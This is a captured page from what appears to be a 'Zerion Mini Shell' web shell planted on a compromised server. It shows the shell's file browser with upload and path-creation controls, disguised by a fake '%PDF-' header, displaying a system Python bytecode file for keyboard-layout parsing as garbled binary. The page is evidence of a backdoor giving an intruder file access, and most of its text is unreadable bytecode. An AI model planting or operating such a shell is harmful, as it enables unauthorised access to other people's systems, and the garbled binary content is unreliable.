%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/LanguageSelector/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/LanguageSelector/__pycache__/xkb.cpython-312.pyc

�

k�!f
���ddlmZddlZGd�d�ZGd�d�Zd�Zd�Zd	�Zed
k(r*ed�D]
Z	e
e	��e�D]
Z	e
e	��yy)�)�print_functionNc��eZdZd�Zd�Zy)�Variantc�.�||_||_||_y�N��name�desc�raw_desc)�selfr	r
rs    �6/usr/lib/python3/dist-packages/LanguageSelector/xkb.py�__init__zVariant.__init__s�� ��	� ��	� (��
�c�R�|j�d|j�d|j��S)N�: �, r)rs r
�__str__zVariant.__str__s��'+�y�y�$�)�)�T�]�]�K�KrN��__name__�
__module__�__qualname__rr�rr
rrs
��	)�
	Lrrc��eZdZd�Zd�Zy)�Layoutc�X�||_||_||_||_||_||_yr�r	r
r�
short_desc�raw_short_desc�variants)rr	r
rrrrs       r
rzLayout.__init__s-�� ��	� ��	� (��
�",���&4��#� (��
rc���|j�d|j�d|j�d|j�d|j�d|j
D�cgc]}d|z��	c}��Scc}w)Nrrz; z;; z%sr)r�xs  r
rzLayout.__str__sv��48�I�I�d�i�i��
�
�VZ�Ve�Ve�fj�fy�fy�NR�N[�N[�{\�IJ�{�CD�|D�{\�]�]��{\s�A!Nrrrr
rrs
��	)�	]rrc���t�}tjd�}|j�}|j	d�D]}|j|j��|S)N�/etc/X11/xkb/rules/xorg.xml�;/xkbConfigRegistry/layoutList/layout/configItem/name/text())�list�libxml2�	parseFile�xpathNewContext�	xpathEval�append�content)�possibility_list�doc�ctxt�is    r
�get_all_layout_possibilitiesr0s^���6����� =�>���"�"�$����� ]�^�	3�A� �'�'��	�	�2�	3� �rc�F�t�}|jd�}|D]�}t|jd|z��dkDr|jd|z�d}nd}t|j||jd�dj�}|j|���|S)Nz3../../../variantList/variant/configItem/name/text()�../description[@xml:lang='%s']r��../../description[position()=1])r%r)�lenrr+r*)�layout_node�lang�variant_list�
variant_nodesr/�trans�vs       r
�get_variantsr<&s����v��#�-�-�.c�d�
��	'�A��q�{�{�#C�d�#J�K�L�q�P� !���,L�t�,S� T�UV� W�� "���A�I�I�u�a�k�k�:[�.\�]^�._�.g�.g�h���#�#�A�&�	'��rc�r�t�}tjd�}|j�}|j	d�}|D]�}|j
|k(s�t
|j	d|z��dkDr|j	d|z�d}nd}t
|j	d|z��dkDr|j	d|z�d}nd}|jt|j
||j	d�dj
||j	d�dj
t||�����|S)	Nr#r$r2rr3z#../shortDescription[@xml:lang='%s']r4z$../../shortDescription[position()=1])
r%r&r'r(r)r+r5r*rr<)r7�layout_listr-r.�layout_nodesr/�translation�short_transs        r
�get_layoutsrB6s/���f����� =�>���"�"�$���~�~�&c�d���	8�A��9�9��$�����,L�t�,S� T�U�XY�Y�./�k�k�:Z�]a�:a�.b�cd�.e��.0������,L�t�,S� T�U�XY�Y�./�k�k�:_�bf�:f�.g�hi�.j��.0��#�*�*�6�!�)�)� +�Q�[�[�9Z�-[�\]�-^�-f�-f� +�Q�[�[�9_�-`�ab�-c�-k�-k� ,�Q�� 5�,7�8�	8� �r�__main__�fr)�
__future__rr&rrr0r<rBrr/�printrrr
�<module>rGsw��%��L�L�
]�
]�
 �
� �2�z���T�"�	�A��a��	�.�/�	�A��a��	�	r

Zerion Mini Shell 1.0